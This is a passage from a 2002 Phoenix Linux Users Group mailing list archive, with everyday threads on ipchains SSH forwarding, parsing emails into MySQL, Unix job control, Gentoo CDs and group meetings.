promise makes a driver specific for the 133 or not. > > > If anybody has any insight on this it would be greatly appreciated. I have searched on google and checked out promises site. maybe I missed something or just sol for now. but I really need the 120 gig drive. :) > > Thanks. > > Larry Lauer > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 00:34:49 2002 From: plug-discuss@lists.plug.phoenix.az.us (Dan Lund) Date: Wed, 12 Jun 2002 17:34:49 -0700 Subject: PLUG-discuss digest, Vol 1 #2343 - 16 msgs In-Reply-To: <200206121825.g5CIP4227743@PlugList.MyButt.Net> References: <200206121825.g5CIP4227743@PlugList.MyButt.Net> Message-ID: <200206121734.49934.arkane_@yahoo.com> heh... my mistake... I use two email addresses, and I keep posting with my hotmail address. god I feel stupid now. I fixed it. Thanks -- Dan On Wednesday 12 June 2002 11:25 am, plug-discuss-request@lists.plug.phoenix.az.us wrote: > From: Tom Achtenberg > To: "'plug-discuss@lists.plug.phoenix.az.us'" > > Subject: RE: This is going to sound really stupid but > Date: Wed, 12 Jun 2002 07:28:07 -0700 > Reply-To: plug-discuss@lists.plug.phoenix.az.us > > Follow the directions on he link at the bottom of each message. There is > an unsubscribe spot on that page. You may be one of the handful > subscribers who have chosen to have their info hidden. > > -----Original Message----- > From: Dan Lund [mailto:dan_lund@hotmail.com] > Sent: Tuesday, June 11, 2002 1:54 PM > To: plug-discuss@lists.plug.phoenix.az.us > Subject: This is going to sound really stupid but > > > I have a question.. How do I unsubscribe, so that I can subscribe again? > I'm not in the database (my email address isn't) of people who are > subscribed, but I get the list (explain that one?) and I need to get off of > this digest-style mailing preference! > > help :) From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 01:19:39 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Wed, 12 Jun 2002 21:19:39 -0400 Subject: SSH and Firewalls? References: <20020611070735.A1557@lnx3.holmesgrown.com> <1023888470.9454.2.camel@barney.azapple.com> Message-ID: <3D07F32B.DBB2B8E1@georgetoft.com> Craig White wrote: > > On Tue, 2002-06-11 at 07:07, Steve Holmes wrote: > > Question about running ssh over a masqueraded network: > > > > I have a linux box that serves as the "point" machine for my network > > on which I forward ports with ipchains (2.2 kernel) to to inside > > amachines which each run sshd. My outside machine currently is not > > running ssh yet. If the default policy on my input chain is ACCEPT, I > > can successfully forward non standard ports through to specific > > machines an establish ssh sessions on them with no problems. If I > > default the input chain to DENY, as is done in endoshield script, The > > connections time out and I cannot connect. In both cases, I forward > > the same ports. > > > > Bottom line, If I use endoshield and add on the ipfwadm commands to > > forward the ports mentioned above, connections time out; If I do not > > use endoshield but use a simpler script that basically leaves the > > input chain wide open, I can establish the ssh sessions - no problem. > ---- > been a while since I used ipchains and not seeing your script, what I > think is happening is that the input chains are considered before your > forward chains and thus if you policy is to DENY, then the packets are > denied before they ever hit the 'forward' chains. This is correct. ipchains put the input chain before the forward chain, and iptables puts the forward chain before the input chain. George From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 01:30:56 2002 From: plug-discuss@lists.plug.phoenix.az.us (KevinO) Date: Wed, 12 Jun 2002 18:30:56 -0700 Subject: Plug logo References: <02061212342215.08309@nova.wedge.org> Message-ID: <3D07F5D0.6040808@deru.com> Jim wrote: > > Btw, how did you open the gif to convert it? GIMP wouldnt open it for me > either. > Both Susan and I can open the original gif file from the website using gimp - no problem. On my machine I just right-mouse-clicked and did a 'save-as'. I then just opened the file (plug.gif) using gimp 1.2 . The installfest flyer was done using gimp and the PLUG logo from the website. -- Kevin O'Connor "People will be free to devote themselves to activities that are fun ... The GNU Manifesto - Copyright (C) 1985, 1993 Free Software Foundation, Inc. From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 01:22:35 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Wed, 12 Jun 2002 21:22:35 -0400 Subject: code red virus? References: <3D06F5CB.84E0A50D@mindspring.com> <200206131339.49473.jon@unfm00.com> Message-ID: <3D07F3DB.F017CD4E@georgetoft.com> How did you get his number? Whois? If not, then I'm really curious. George Get it? Curious George? I know, it's tacky. Jon K wrote: > > I had this happen to me too... I had over 500 hits from some guys IIS 5.0 > server in just one day. So I found out who he was and called his house. The > man sounded a little shocked I had his number. The computer went of line > quickly. :) > > Jon > > On Wednesday 12 June 2002 07:18, User wrote: > > Lately we have noticed that our friendly firewall is taking hits from > > what seems to be Russia. At least today it seems to be Russia. > > Novoisvirsk, it seems like, according to traceroute. > > I don't know a whole lot about probes like this but am thankful to you > > folks for your guidance with regard to firewalls. > > > > Is there something that we can do with regard to this type of thing? > > Maybe, just track them down for fun. Where would be a good place to > > start reading about this sort of thing. > > > > We trace routed them throught 25 hops to 217.70.107.151 > > > > p151.rnttu.sinor.ru was the last hop on the list. > > > > Thank you > > Roger > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 02:37:27 2002 From: plug-discuss@lists.plug.phoenix.az.us (Steve Holmes) Date: Wed, 12 Jun 2002 19:37:27 -0700 Subject: SSH and Firewalls? In-Reply-To: <3D07F32B.DBB2B8E1@georgetoft.com>; from george@georgetoft.com on Wed, Jun 12, 2002 at 09:19:39PM -0400 References: <20020611070735.A1557@lnx3.holmesgrown.com> <1023888470.9454.2.camel@barney.azapple.com> <3D07F32B.DBB2B8E1@georgetoft.com> Message-ID: <20020612193722.A549@lnx3.holmesgrown.com> Just to let you all know, I got the ssh problem figured out. I had to add the custom non standard ports to the input chain - actually, the inet-in rule in my case. It now works now. From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 03:48:00 2002 From: plug-discuss@lists.plug.phoenix.az.us (robert jorgenson) Date: Wed, 12 Jun 2002 20:48:00 -0700 Subject: gentoo CD's Message-ID: <20020612204800.70b93d74.snoogans@qwest.net> was wondering if someone would be able to burn me a stage 1 ISO for gentoo and bring it to the meeting tommorow, I will reimburse for the CD :) From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 05:10:09 2002 From: plug-discuss@lists.plug.phoenix.az.us (Voltage Spike) Date: Wed, 12 Jun 2002 22:10:09 -0700 Subject: gentoo CD's In-Reply-To: <20020612204800.70b93d74.snoogans@qwest.net> References: <20020612204800.70b93d74.snoogans@qwest.net> Message-ID: <200206122210.13484.voltage_spike@fastmail.fm> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Wednesday 12 June 2002 20:48, robert jorgenson wrote: > was wondering if someone would be able to burn me a stage 1 ISO for gentoo > and bring it to the meeting tommorow, I will reimburse for the CD :) How about this? If I finish downloading the ISO tonight, I will burn a couple and bring them (for free even). ;-) - -- Voltage Spike ,,, (. .) - --ooO-(_)-Ooo-- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE9CCk0pNoctRtUIRQRAoVRAJsFheSR6ugsHjQd/728pQDElLkLjACfUWTe SbbjCvAIhXJbqSNbfAA7ru0= =ILyl -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 05:11:28 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Wed, 12 Jun 2002 22:11:28 -0700 Subject: Plug logo In-Reply-To: <200206121418.36425.zen2now@qwest.net> References: <200206120958.39618.zen2now@qwest.net> <200206121418.36425.zen2now@qwest.net> Message-ID: <1023945088.3d082980d6e41@webmail.freedom2surf.net> Quoting slr : > ok i sent the png image to my graphic guy, we will refer to him from now on > as > "Austin" (the name has been changed to protect his innocence), and this was > > his response: > > this is the same .gif inside of a .png document... > > vector images are made of lines and math, keeping high quality no matter > how large or small you resize the image. > > raster images are made of many many dots or pixels of only 257 different > colors, so when you enlarge these images, they get choppy or "pixilated" You might want to look at Ewing's site http://www.isc.tamu.edu/~lewing/linux/ for a vector (EPS) of TUX. I think it would easy to remake a 300dpi logo from scratch using that, adding text (the font above and below Tux is Bauhaus93, I think), and finding some nice vector catcus artwork. The logo on the website is not of high enough resolution to go out to print. Dennis Kibbe ------------------------------------------------- Everyone should have http://www.freedom2surf.net/ From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 05:12:30 2002 From: plug-discuss@lists.plug.phoenix.az.us (Scott Henderson) Date: Thu, 13 Jun 2002 01:12:30 -0400 (EDT) Subject: help In-Reply-To: <200206130000.g5D002230465@PlugList.MyButt.Net> Message-ID: whoops! sorry 'bout that... :) From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 05:14:25 2002 From: plug-discuss@lists.plug.phoenix.az.us (Voltage Spike) Date: Wed, 12 Jun 2002 22:14:25 -0700 Subject: gentoo CD's In-Reply-To: <20020612204800.70b93d74.snoogans@qwest.net> References: <20020612204800.70b93d74.snoogans@qwest.net> Message-ID: <200206122214.30492.voltage_spike@fastmail.fm> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Wednesday 12 June 2002 20:48, robert jorgenson wrote: > was wondering if someone would be able to burn me a stage 1 ISO for gentoo > and bring it to the meeting tommorow, I will reimburse for the CD :) I just noticed it was small. Which file do you need: gentoo-i686-1.2.iso gentoo-ix86-1.2.iso Just let me know. - -- Voltage Spike ,,, (. .) - --ooO-(_)-Ooo-- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE9CCo1pNoctRtUIRQRAvq3AKCAzJ5Ahv1muXKuqqb79aPQ64NVFACdEgrD TWH/B9uiAzVTS7bCOj30xTI= =lnfy -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 05:31:07 2002 From: plug-discuss@lists.plug.phoenix.az.us (robert jorgenson) Date: Wed, 12 Jun 2002 22:31:07 -0700 Subject: gentoo CD's In-Reply-To: <200206122214.30492.voltage_spike@fastmail.fm> References: <20020612204800.70b93d74.snoogans@qwest.net> <200206122214.30492.voltage_spike@fastmail.fm> Message-ID: <20020612223107.2c4a4891.snoogans@qwest.net> just the 16MB stage one iso for x86. And thanks alot :) On Wed, 12 Jun 2002 22:14:25 -0700 "Voltage Spike" wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > On Wednesday 12 June 2002 20:48, robert jorgenson wrote: > > was wondering if someone would be able to burn me a stage 1 ISO for gentoo > > and bring it to the meeting tommorow, I will reimburse for the CD :) > > I just noticed it was small. Which file do you need: > gentoo-i686-1.2.iso > gentoo-ix86-1.2.iso > > Just let me know. > > - -- > Voltage Spike > ,,, > (. .) > - --ooO-(_)-Ooo-- > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.0.6 (GNU/Linux) > Comment: For info see http://www.gnupg.org > > iD8DBQE9CCo1pNoctRtUIRQRAvq3AKCAzJ5Ahv1muXKuqqb79aPQ64NVFACdEgrD > TWH/B9uiAzVTS7bCOj30xTI= > =lnfy > -----END PGP SIGNATURE----- > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 06:49:14 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jay) Date: Wed, 12 Jun 2002 23:49:14 -0700 (MST) Subject: IT Business Expo Message-ID: Just wanted to pass this along to everyone. If you want free tickets to the upcoming annual AZ Central IT Business Expo (July 25th and 26th) please email me off-list and I'll take care of you. I've got a bunch of tickets and would like to help out some PLUG folks that want to go to the expo. No strings attached - just free tickets. :) ~Jay -- == Jay Jacobson == President - Edgeos, Inc. == Security is Critical - http://edgeos.com == Easily test your network for 975+ security threats. From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 14:38:05 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tony Wasson) Date: Thu, 13 Jun 2002 07:38:05 -0700 Subject: Laptop Parts References: <200206022202.SAA22895@hostinworld6.com> Message-ID: <01cf01c212e7$ef400210$4a67c6d0@chelly> How big do you want your hard drive to be? I have a 4.3Gb laptop drive left over after I upgraded to a 40Gb. Tony Wasson ajwasson@inficad.com ----- Original Message ----- From: "Bryce C." To: Sent: Sunday, June 02, 2002 14:59 Subject: OT: Laptop Parts > After being on vacation for a week, I have finally returned home to find > myself reading >700 e-mails. (For those interested, it was divided about > 50/50 Junk/PLUG.) Anyway, now that I'm caught up with that, I have time > to play the the laptop I bought on vacation (yes, work is never far) and > I'm now working on scrounging parts for it. It cost about $90 and the > PCMCIA NIC $20 at a PC consignment shoppe but of course taht also means > it's been used. This is a Dell Latitude XP 4100CX laptop running a > 486DX(Yes, for real), 1.2Gb HD, 12Mb RAM, and a floppy. First thing is > first, can anyone tell me of a good place for a replacement battery > cheap. Its has been toasted (memory thing) and it really isn't all that > useful w/o a battery. I've got a couple bids on eBay but I was hoping > for something a little more immediate. Second, I'd like a larger HD for > Linux. Since it doesn't have a CD-ROM drive, I'd like to copy the > distro disks to the HD so I can install packages on the road. Can > anyone tell me of a good place for cheap, large capacity, 2.5" HDs and > possibly their price & size. > > Bryce C. > Network Administrator > CoBryce Communications > Bryce @ BryceCo . Net > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 15:04:47 2002 From: plug-discuss@lists.plug.phoenix.az.us (William Lindley) Date: Thu, 13 Jun 2002 08:04:47 -0700 (MST) Subject: Swap Meet this Sunday 16 June Message-ID: Just the place to get whatever bits of hardware you need to build that spare system for the InstallFest on the 22nd -- Swap Meet this Sunday, 6am to 1pm, 8302 E. McDowell Rd, Scottsdale AZ http://azweb.com/troop446/ Sponsored by Boy Scout Troop 446 From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 15:14:45 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Thu, 13 Jun 2002 11:14:45 -0400 Subject: [PLUG-announce]East Side Meeting Tomorrow! Message-ID: Please, PLEASE remember: The subject line is wrong. The meeting is TODAY. Alan On Wed, 12 Jun 2002 14:00:20 -0400 plug-announce-admin@lists.PLUG.phoenix.az.us wrote: YES, we are having a meeting. Representatives from Intel will be presenting on how they use Linux within the company. IT infrastructure, mult-machine building, clustering, and desktop use will be discussed. I confirmed with them by phone yesterday. They will be bringing stuff to giveaway too! I hope you can be there. The ususal place and time Sequoia School, 7pm Alan _______________________________________________ PLUG-announce mailing list - PLUG-announce@lists.PLUG.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-announce PLUG Website at http://plug.phoenix.az.us From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 18:00:20 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Wed, 12 Jun 2002 14:00:20 -0400 Subject: [PLUG-announce]East Side Meeting Tomorrow! Message-ID: YES, we are having a meeting. Representatives from Intel will be presenting on how they use Linux within the company. IT infrastructure, mult-machine building, clustering, and desktop use will be discussed. I confirmed with them by phone yesterday. They will be bringing stuff to giveaway too! I hope you can be there. The ususal place and time Sequoia School, 7pm Alan _______________________________________________ PLUG-announce mailing list - PLUG-announce@lists.PLUG.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-announce PLUG Website at http://plug.phoenix.az.us From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 15:37:35 2002 From: plug-discuss@lists.plug.phoenix.az.us (James Shaker) Date: Thu, 13 Jun 2002 08:37:35 -0700 Subject: Suggestions? Message-ID: <002101c212f0$3d6a1a90$0100000a@kilo> Hello All, I would like to use "you all" as a sounding board for a project I am working on, if that is ok? We have developed a machine that will be deployed in a few thousand locations around the US, Puerto Rico, and Bahamas. This product will be connected to a phone line and will call a linux server that we set up as a PPP dial in server. Once connected, the product will send a small email detailing production amounts and status information. The machine will also receive an email, if any, for parameter changes, etc. This all works well. Once the server receives the email I want to parse that information and put it into MySql. The status of these machines can be viewed via the web using apache and PHP4. What I would like some advice on, what is the better method of parsing the email and putting it into MySql? Its not that I don't have many options... I have too many. Procmail -> awk/sed -> PHP4 script -> MySql Perl -> MySql And many other combination of tools. I am leaning towards a Perl -> MySql solution for the simplicity; however, I want to know if anyone else has something that might be better. Perhaps Python? Thank "you all" for your time, James james@vartek-corp.com From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 15:38:51 2002 From: plug-discuss@lists.plug.phoenix.az.us (John (EBo) David) Date: Thu, 13 Jun 2002 08:38:51 -0700 Subject: Suggestions? References: <002101c212f0$3d6a1a90$0100000a@kilo> Message-ID: <3D08BC8B.A96E002C@leml.asu.edu> James Shaker wrote: > > Hello All, > > I would like to use "you all" as a sounding board for a project I am > working on, if that is ok? > > We have developed a machine that will be deployed in a few thousand > locations around the US, Puerto Rico, and Bahamas. This product will be > connected to a phone line and will call a linux server that we set up as > a PPP dial in server. Once connected, the product will send a small > email detailing production amounts and status information. The machine > will also receive an email, if any, for parameter changes, etc. This > all works well. > > Once the server receives the email I want to parse that information and > put it into MySql. The status of these machines can be viewed via the > web using apache and PHP4. > > What I would like some advice on, what is the better method of parsing > the email and putting it into MySql? > > Its not that I don't have many options... I have too many. > > Procmail -> awk/sed -> PHP4 script -> MySql > > Perl -> MySql > > And many other combination of tools. I am leaning towards a Perl -> > MySql solution for the simplicity; however, I want to know if anyone > else has something that might be better. Perhaps Python? > > Thank "you all" for your time, well... any of thous would be good, and so would Spirit++ (a c++ template library which replaces most of the functunality of Yacc and Lex (or Bison and Flex for the GNU crowd). It is availible on sourceforge. EBo -- From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 16:03:01 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mike) Date: Thu, 13 Jun 2002 11:03:01 -0500 Subject: Suggestions? In-Reply-To: <002101c212f0$3d6a1a90$0100000a@kilo>; from james@vartek-corp.com on Thu, Jun 13, 2002 at 08:37:35AM -0700 References: <002101c212f0$3d6a1a90$0100000a@kilo> Message-ID: <20020613110301.A26829@lilly.csoft.net> I have just completed a project where I had to parse out an email message and dump it into a MySQL db. I find it hard to go wrong with Perl -> MySQL v/r Mike On Thu, Jun 13, 2002 at 08:37:35AM -0700, James Shaker wrote: Hello All, I would like to use "you all" as a sounding board for a project I am working on, if that is ok? We have developed a machine that will be deployed in a few thousand locations around the US, Puerto Rico, and Bahamas. This product will be connected to a phone line and will call a linux server that we set up as a PPP dial in server. Once connected, the product will send a small email detailing production amounts and status information. The machine will also receive an email, if any, for parameter changes, etc. This all works well. Once the server receives the email I want to parse that information and put it into MySql. The status of these machines can be viewed via the web using apache and PHP4. What I would like some advice on, what is the better method of parsing the email and putting it into MySql? Its not that I don't have many options... I have too many. Procmail -> awk/sed -> PHP4 script -> MySql Perl -> MySql And many other combination of tools. I am leaning towards a Perl -> MySql solution for the simplicity; however, I want to know if anyone else has something that might be better. Perhaps Python? Thank "you all" for your time, James james@vartek-corp.com ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 16:16:35 2002 From: plug-discuss@lists.plug.phoenix.az.us (Greg) Date: Thu, 13 Jun 2002 09:16:35 -0700 Subject: Suggestions? References: <002101c212f0$3d6a1a90$0100000a@kilo> <20020613110301.A26829@lilly.csoft.net> Message-ID: <3D08C563.6070808@ttiltd.com> As an absolute Python biggot I would do python -> mysql Greg Mike wrote: >I have just completed a project where I had to parse >out an email message and dump it into a MySQL db. I find it hard to go wrong >with Perl -> MySQL > >v/r >Mike > >On Thu, Jun 13, 2002 at 08:37:35AM -0700, James Shaker wrote: > > Hello All, > > I would like to use "you all" as a sounding board for a project I am > working on, if that is ok? > > We have developed a machine that will be deployed in a few thousand > locations around the US, Puerto Rico, and Bahamas. This product will be > connected to a phone line and will call a linux server that we set up as > a PPP dial in server. Once connected, the product will send a small > email detailing production amounts and status information. The machine > will also receive an email, if any, for parameter changes, etc. This > all works well. > > Once the server receives the email I want to parse that information and > put it into MySql. The status of these machines can be viewed via the > web using apache and PHP4. > > What I would like some advice on, what is the better method of parsing > the email and putting it into MySql? > > Its not that I don't have many options... I have too many. > > Procmail -> awk/sed -> PHP4 script -> MySql > > Perl -> MySql > > And many other combination of tools. I am leaning towards a Perl -> > MySql solution for the simplicity; however, I want to know if anyone > else has something that might be better. Perhaps Python? > > Thank "you all" for your time, > > James > james@vartek-corp.com > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 16:25:15 2002 From: plug-discuss@lists.plug.phoenix.az.us (Shawn Rutledge) Date: Thu, 13 Jun 2002 09:25:15 -0700 Subject: Suggestions? In-Reply-To: <002101c212f0$3d6a1a90$0100000a@kilo> References: <002101c212f0$3d6a1a90$0100000a@kilo> Message-ID: <20020613162515.GY14558@ecloud.org> I'd only suggest using XML formatting in your email and then you will be somewhat future-proof. Then use whatever language is most comfortable and has a MySQL driver; they all have XML parsers I think. Or, instead of email you could make an HTTP connection and use SOAP protocol; Apache has a SOAP layer available, but it's easy enough to write a Perl CGI or PHP script or servlet to handle SOAP as well. And it's then easy to replace the modem with a wired Internet connection later if anybody wants to do that. On Thu, Jun 13, 2002 at 08:37:35AM -0700, James Shaker wrote: > I would like to use "you all" as a sounding board for a project I am > working on, if that is ok? > > We have developed a machine that will be deployed in a few thousand > locations around the US, Puerto Rico, and Bahamas. This product will be > connected to a phone line and will call a linux server that we set up as > a PPP dial in server. Once connected, the product will send a small > email detailing production amounts and status information. The machine > will also receive an email, if any, for parameter changes, etc. This > all works well. > > Once the server receives the email I want to parse that information and > put it into MySql. The status of these machines can be viewed via the > web using apache and PHP4. > > What I would like some advice on, what is the better method of parsing > the email and putting it into MySql? > > Its not that I don't have many options... I have too many. > > Procmail -> awk/sed -> PHP4 script -> MySql > > Perl -> MySql > > And many other combination of tools. I am leaning towards a Perl -> > MySql solution for the simplicity; however, I want to know if anyone > else has something that might be better. Perhaps Python? -- _______ Shawn T. Rutledge / KB7PWD ecloud@bigfoot.com (_ | |_) http://ecloud.org kb7pwd@kb7pwd.ampr.org __) | | \________________________________________________________________ From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 16:27:46 2002 From: plug-discuss@lists.plug.phoenix.az.us (William Lindley) Date: Thu, 13 Jun 2002 09:27:46 -0700 (MST) Subject: Job control commands Message-ID: Thinking back to the days of RSTS-E (DEC PDP-11, the first timeshare computer I used) is there a Unix-y way to: * Completely suspend a running task - not just a low priority but totally stop it until it's later restarted * Attach a task from another terminal to the one I'm at now (I.e., I start emacs on virtual terminal 3 and I want to move it to virtual terminal 2) \\/ From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 16:35:35 2002 From: plug-discuss@lists.plug.phoenix.az.us (John (EBo) David) Date: Thu, 13 Jun 2002 09:35:35 -0700 Subject: VRML question Message-ID: <3D08C9D7.B0E6A0EC@leml.asu.edu> I'm playing with some PD software that dumps stuff out in VRML. Can people make suggestions on VRML viewers/brousers? Is there a konquerer or Netscape plugin? Thanks, EBo -- From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 17:02:29 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Emerson) Date: Thu, 13 Jun 2002 10:02:29 -0700 (MST) Subject: Suggestions? In-Reply-To: <20020613110301.A26829@lilly.csoft.net> Message-ID: Mike, php works quite nicely at the command line. If you are to devote resources to the apache/php side of the project, reuse this resource on the script/command line side of the project. I do all of my data parsing with command line php scripts, very handy. Database side, I'd look at postgresql depending on the level of complexity of the schema and what is needed in terms of stored procedures. If you stick with mysql, look closely at using tables capable of transactions and rollbacks... I'd be assuming that a "jurassic park" event would occur at least once in the lifecycle of each of these systems, don't wanna loose data because the electricity failed. More or less by default, postgresql handles power failures well. So does mysql if you choose carefully. My two cents, code the email parsing side in C++, something small and fast. Parsing email in ++ isn't too difficult. - t ---------------------------------------- I have just completed a project where I had to parse out an email message and dump it into a MySQL db. I find it hard to go wrong with Perl -> MySQL v/r Mike On Thu, Jun 13, 2002 at 08:37:35AM -0700, James Shaker wrote: Hello All, I would like to use "you all" as a sounding board for a project I am working on, if that is ok? We have developed a machine that will be deployed in a few thousand locations around the US, Puerto Rico, and Bahamas. This product will be connected to a phone line and will call a linux server that we set up as a PPP dial in server. Once connected, the product will send a small email detailing production amounts and status information. The machine will also receive an email, if any, for parameter changes, etc. This all works well. Once the server receives the email I want to parse that information and put it into MySql. The status of these machines can be viewed via the web using apache and PHP4. What I would like some advice on, what is the better method of parsing the email and putting it into MySql? Its not that I don't have many options... I have too many. Procmail -> awk/sed -> PHP4 script -> MySql Perl -> MySql And many other combination of tools. I am leaning towards a Perl -> MySql solution for the simplicity; however, I want to know if anyone else has something that might be better. Perhaps Python? Thank "you all" for your time, James james@vartek-corp.com ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 16:12:27 2002 From: plug-discuss@lists.plug.phoenix.az.us (Robert Bushman) Date: Thu, 13 Jun 2002 12:12:27 -0400 (EDT) Subject: Job control commands In-Reply-To: Message-ID: partial answer to number 1. Stop Process #488 kill -SIGSTOP 488 In Bash, restart job #4 bg %4 Note that process number is the system process number, job number is the job number in that instance of Bash. To get one from the other: In Bash, list jobs with process number: jobs -l On Thu, 13 Jun 2002, William Lindley wrote: > Thinking back to the days of RSTS-E (DEC PDP-11, the first timeshare > computer I used) is there a Unix-y way to: > > * Completely suspend a running task - not just a low priority > but totally stop it until it's later restarted > * Attach a task from another terminal to the one I'm at now > (I.e., I start emacs on virtual terminal 3 and I want to move it > to virtual terminal 2) > > \\/ > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ------------------------------------------------------------------- "What can Americans do to stay safe after these attacks?" "Buckle your seat-belt and quit smoking." ------------------------------------------------------------------- From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 17:20:51 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Thu, 13 Jun 2002 10:20:51 -0700 Subject: Job control commands In-Reply-To: ; from wlindley@wlindley.com on Thu, Jun 13, 2002 at 09:27:46AM -0700 References: Message-ID: <20020613102051.A2131@nadesico> On Thu, Jun 13, 2002 at 09:27:46AM -0700, William Lindley wrote: > Thinking back to the days of RSTS-E (DEC PDP-11, the first timeshare > computer I used) is there a Unix-y way to: > > * Completely suspend a running task - not just a low priority > but totally stop it until it's later restarted Sure -- do this: [foo@bar]$ emacs [1]+ Stopped emacs [foo@bar]$ _ The program that you suspended with Control-Z will remain stopped until you bring it back into the foreground (fg ), or put it into the background (bg ). A listing of jobs and their ids that are either backgrounded or stopped is available by using the jobs command. Note that this is (AFAIK) bash-only syntax. Job control is a function of the shell, not the OS. > * Attach a task from another terminal to the one I'm at now > (I.e., I start emacs on virtual terminal 3 and I want to move it > to virtual terminal 2) This, I believe, is not possible to do. Since a program actually is attached to a /dev/ptyXX or /dev/vc/XX device, the only way it may be possible is if the program itself has code to do so. -- Thomas "Mondoshawan" Tate mondoshawan@tank.dyndns.org http://tank.webhop.org From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 17:44:52 2002 From: plug-discuss@lists.plug.phoenix.az.us (Alpha Zenon Sanchez) Date: Thu, 13 Jun 2002 10:44:52 -0700 (PDT) Subject: install fest suggestion Message-ID: 